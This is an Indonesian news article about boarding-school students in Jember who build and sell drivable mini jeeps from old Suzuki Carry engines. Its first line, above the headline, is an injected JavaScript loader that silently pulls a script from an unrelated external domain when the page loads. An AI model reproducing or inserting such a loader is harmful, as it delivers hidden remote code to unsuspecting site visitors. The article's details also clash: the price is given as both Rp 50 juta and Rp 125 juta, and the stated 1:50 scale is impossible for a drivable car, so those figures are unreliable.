(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Mobil Jeep Mini Rp 50 Jutaan Ini Buatan Santri Lho, Ada Jenis Rubicon dan Land Cruiser


KANALKALIMANTAN.COM, SURABAYA– Santri Ponpes Roudatul Ulum Kabupaten Jember Jawa Timur membuat mobil jeep mini dengan perbandingan ukuran dengan jeep aslinya 1:50.

Para santri ini membuat jeep dan dibanderol dengan harga Rp 50 juta. Ada empat jenis mobil jeep, yakni hardtop, Rubicon, Willys, dan Land Cruiser.

Semua jenis mobil mini itu dibuat oleh santri Ponpes yang ada di Desa Sumberwringin, Kecamatan Sukowono, tersebut.

Pengasuh Pondok Gus Nadhif Muhammad Mishbah mengatakan, untuk membuat satu jenis mobil mini itu membutuhkan waktu kurang lebih selama tiga bulan.

 

Baca juga : Jadwal Trans TV Hari Ini, Minggu 17 Oktober 2021 Lengkap

Meskipun begitu, pondok pesantren tersebut tidak bekerja sendiri, melainkan berkolaborasi dengan santri dari Ponpes Sahlul Manal Lingkungan Jambuan Kelurahan Antirogo Kecamatan Sumbersari.

“Untuk biaya tersebut. Paling mahal adalah untuk mendapatkan mesin mobil bekas Suzuki Carry. Karena kita masih belum bisa membuat sendiri mesin untuk mobil Jeep Mini ini,” kata Gus Nadhif, seperti dikutip dari suarajatimpost.com, jejaring media suara.com, Minggu (17/10/2021).

“Kemudian bahan lainnya dijual, ataupun bagian-bagiannya kita pakai untuk membuat kerangka, sasis mobil Jip mini ini,” katanya menambahkan.

Menurut Gus Nadhif, sebagai salah satu Ponpes Salaf di Jember, santrinya tidak hanya diajarkan membaca kitab kuning saja.
“Tetapi pesantren salaf itu juga bisa asal berkarya dan mempunyai kemampuan. Salah satunya menciptakan mobil mini jeep ini,” ujarnya.

 

Baca juga : Geger Temuan Jasad Bayi di Dekat LCT Marfel Bersaudara

Dalam pembuatan satu mobil mini jeep itu, lanjut Gus Nadif, menbutuhkan peran serta 7 orang santri. Yang biasanya dilakukan saat tidak ada kegiatan belajar atau mengaji di Pondok.

“Biasanya hari Jumat, Sabtu, atau Minggu. Pokok ada senggang waktu. Persiapan awal mesin mobil Suzuki Carry 1000 cc biasanya produksi tahun 80-an,” ujarnya menambahkan.

“Kemudian membeli besi glondongan untuk membuat sasis mobil dan rangkanya. Bahkan untuk detail bagian mobil kita benar-benar utamakan agar mirip aslinya. Untuk produksi awal. Kita bahkan pakai bodi cassing CPU. Karena plat besinya tebal dan kuat,” terang Gus Nadhief.

“Kemampuan santri di bidang las, baik alumni atau yang masih mondok kita berdayakan. Untuk membuat bodi mobil sampai ke engsel pintu secara detail. Bahkan bodi bagian-bagian lampunya kita bikin detail banget. Karena kan gak ada di toko ukuran mini ini. Kalau yang lain spion atau lainnya beli” sambungnya.

 

Baca juga : RSD Idaman Banjarbaru Buka Layanan Vaksinasi Covid-19, Ini Syarat dan Cara Daftarnya

Untuk penjualan mobil mini jeep ini, lanjut Gus Nadhif, dilakukan lewat daring dan memesan terlebih dahulu.

“Tapi untuk awal ada pesanan 2 unit, di Ponpes Tempurejo, dan satunya dari luar. Pesannya di online. Kita juga promosi di youtube,” katanya.

Kelebihan jeep mini ini diklaim Gus Nadhif lebih lincah dan memiliki kuat dengan sistem power stering yang ringan.
“Kalau untuk di jalan padat atau macet lincah, karena sistemnya sama dengan power stering, ringan banget. Bahkan Kalau mobil ini dibawa dengan kecepatan 100 km/jam masih bisa stabil. Sudah kita buktikan saat dibawa ke Situbondo,” ungkapnya.

Namun demikian, diakui oleh Gus Nadhif, masih perlunya penyempurnaan dari mobil mini jeep yang dibuatnya bersama santri itu.
“Masih terus kita kembangkan, baik mesin, kenyamanan berkendara, faktor keamanan. Bahkan soal Hak Cipta dari mobil ini. Karena biar bawanya lebih enak. Untuk skalanya 1:50 dibanding mobil asli,” ucapnya.

 

Baca juga : Unit ‘Tempur’ Palnam Operasi di TMMD Kodim 1002/HST Selesai Bertugas

Gus Nadhif menyampaikan, untuk produksi jeep mini itu di masa mendatang. Akan diupayakan untuk bisa semakin banyak.
“Tentunya untuk bisa kami jual adanya produk ini. Sebagai hasil kreatifitas santri dan kemampun santri yang tidak bisa dipandang sebelah mata. Untuk harga per unit kami jual Rp 125 juta. Tapi nantinya masih kami sempurnakan lagi,” ujarnya memungkasi. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

11 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.